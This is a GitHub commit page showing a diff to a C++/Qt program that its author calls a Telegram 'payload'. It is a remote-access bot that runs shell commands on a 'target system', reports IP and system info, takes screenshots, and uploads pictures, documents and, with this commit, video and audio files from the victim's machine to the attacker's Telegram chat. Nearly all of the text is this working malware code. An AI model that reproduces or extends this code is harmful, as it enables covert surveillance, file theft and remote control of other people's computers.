Skip to content

Commit

Permalink
add command Download video and audio :D
Browse files Browse the repository at this point in the history
  • Loading branch information
shayanzare committed Jun 22, 2017
1 parent 9365b5d commit d39f971
Showing 1 changed file with 61 additions and 7 deletions.
68 changes: 61 additions & 7 deletions cpp&Qt/cpp-telegram-payload/main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@
//your bot token
#define TOKEN ""


Telegram::Bot *bot;

void newMessage(Telegram::Message message)
Expand All @@ -27,11 +28,16 @@ void newMessage(Telegram::Message message)

if (bot && message.type == Telegram::Message::TextType) {

//regular
QRegularExpression re("\/down_pic (.*)");
QRegularExpression re2("\/down_doc (.*)");

QRegularExpression re3("\/down_vid (.*)");
QRegularExpression re4("\/down_audio (.*)");
//match
QRegularExpressionMatch match = re.match(message.string);
QRegularExpressionMatch match2 = re2.match(message.string);
QRegularExpressionMatch match3 = re3.match(message.string);
QRegularExpressionMatch match4 = re4.match(message.string);

if (message.string == "/start") {
if (getuid()) {
Expand All @@ -49,13 +55,15 @@ void newMessage(Telegram::Message message)
" /info => To Get ip and system info.\n"
" /screenShot => Get ScreenShot of system(Just linux).\n"
" /down_pic [ name + path ] => Get Download picture from system target.\n"
" /down_doc [ name + path ] => Get Download document from target system\n\n"
" /down_doc [ name + path ] => Get Download document from target system\n"
" /down_vid [ name + path ] => Get Download video from target system.\n"
" /down_audio [ name + path ] => Get Download audio from target system.\n\n"
"for run shell command just send without `/` and \nRecive result.\n"
"Coded By : ViRuS007\n"
"Email : virus007@protonmail.com\n"
"Telegram ID : @Msf_Payload\n"
"\n"
"Github: http://github.com/shayanzare/telegram-payload");
"Github: http://github.com/shayanzare/sia-payload");
}
// info command
else if (message.string == "/info")
Expand Down Expand Up @@ -88,18 +96,64 @@ void newMessage(Telegram::Message message)
}
// Download Picture from target system
else if (match.hasMatch()) {
bot->sendMessage(message.chat.id, "☠ Uploading to telegram...");
QString mached = match.captured(1);
// qDebug() << mached;
QFile photo(mached);
//send to telegram
bot->sendPhoto(message.chat.id, &photo);
if (photo.open(QIODevice::ReadOnly)) {
//send to telegram
bot->sendPhoto(message.chat.id, &photo);
}
else
{
qDebug() << "Error to opening file";
bot->sendMessage(message.chat.id, "☠ Error To Opening File!");
}
}
//send document
else if (match2.hasMatch()){
bot->sendMessage(message.chat.id, "☠ Uploading to telegram...");
QString matched = match2.captured(1);
QFile doc(matched);
//send to telegram
bot->sendDocument(message.chat.id, &doc);

if (doc.open(QIODevice::ReadOnly)) {
//send to telegram
bot->sendDocument(message.chat.id, &doc);
}
else
{
qDebug() << "Error to opening file";
bot->sendMessage(message.chat.id, "☠ Error To Opening File!");
}
}
//send video
else if (match3.hasMatch()){
bot->sendMessage(message.chat.id, "☠ Uploading to telegram...");
QString matched = match3.captured(1);
QFile video(matched);

if (video.open(QIODevice::ReadOnly)) {
bot->sendVideo(message.chat.id, &video);
}
else
{
qDebug() << "Error to opening file";
bot->sendMessage(message.chat.id, "☠ Error To Opening File!");
}
}

else if (match4.hasMatch()) {
bot->sendMessage(message.chat.id, "☠ Uploading to telegram...");
QString matched = match4.captured(1);

QFile audio(matched);
if (audio.open(QIODevice::ReadOnly)) {
bot->sendAudio(message.chat.id, &audio);
}
else {
qDebug() << "Error to opening file";
bot->sendMessage(message.chat.id, "☠ Error To Opening File!");
}
}

//Else for run shell commands
Expand Down

0 comments on commit d39f971

Please sign in to comment.